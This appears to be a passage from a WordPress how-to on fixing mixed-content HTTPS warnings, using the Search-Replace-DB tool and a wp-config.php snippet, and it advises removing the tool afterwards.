# wget https://github.com/interconnectit/Search-Replace-DB/archive/master.zip

[root@server [domain directory]

# unzip master.zip

[root@server [domain directory]

# cd Search-Replace-DB-master/
Once you have installed the tool, you can access it directly by going to https://yourdomain.com/Search-Replace-DB-master/index.php

When you load the tool, it will pull the values from your /wp-config.php. If for whatever reason it doesn’t, here is how you map the values:

Name = define(‘DB_NAME’,

User = define(‘DB_USER’,

Password = define(‘DB_PASSWORD’,

Host = define(‘DB_HOST’,

Port = Default 3306

Run Search and Replace
When running “search and replace” be mindful of all the things you can inadvertently break. To account for this, I recommend being as specific as possible. For instance, in the image above, you can see I search for https://yourdomain.com and replace with https://yourdomain.com. This is an effort to avoid breaking any other http references that might cause unexpected issues.

Even then, before you run the tool, please be sure to have a database backup.

The tool also helps by giving you two very distinct options: Dry Run and Live Run. I recommend running a Dry Run first, checking the output, then running a Live Run if everything works well.

Search & Replace Dry Run Versus Live Run Button
Search & Replace Dry Run Versus Live Run Button
Identify and Handle HTTPS Traffic
Next you want to make sure that your server/website is ready to handle HTTPS traffic. Of course, the first step is to install your SSL certificate. If you’ve done that, you can then take the next step using really-simple-ssl or directly through your /wp-config.php file.

/* Handle HTTPS Protocol */

if ($_SERVER[‘HTTP_X_FORWARDED_PROTO’] == ‘https’)

$_SERVER[‘HTTPS’]=’on’;
This will make it so that your website/server accepts all HTTPS requests, and it also enables HTTPS on your website. There are obviously a number of different deployment types. For more variations you can reference this Codex article on WordPress.org.

When done, clear any caches you might have enabled and visit your website. You should now get the secure padlock in the browser without any mixed content warnings:

HTTPS Website When Mixed Content Issues Have Been Fixed
HTTPS Website When Mixed Content Issues Have Been Fixed
Remove Database Search and Replace Tool
Please, whatever you do, do not forget to remove the DS&R tool from your root once you have found and fixed all your mixed content issues. Leaving it on your server could introduce itself as a potential attack vector later.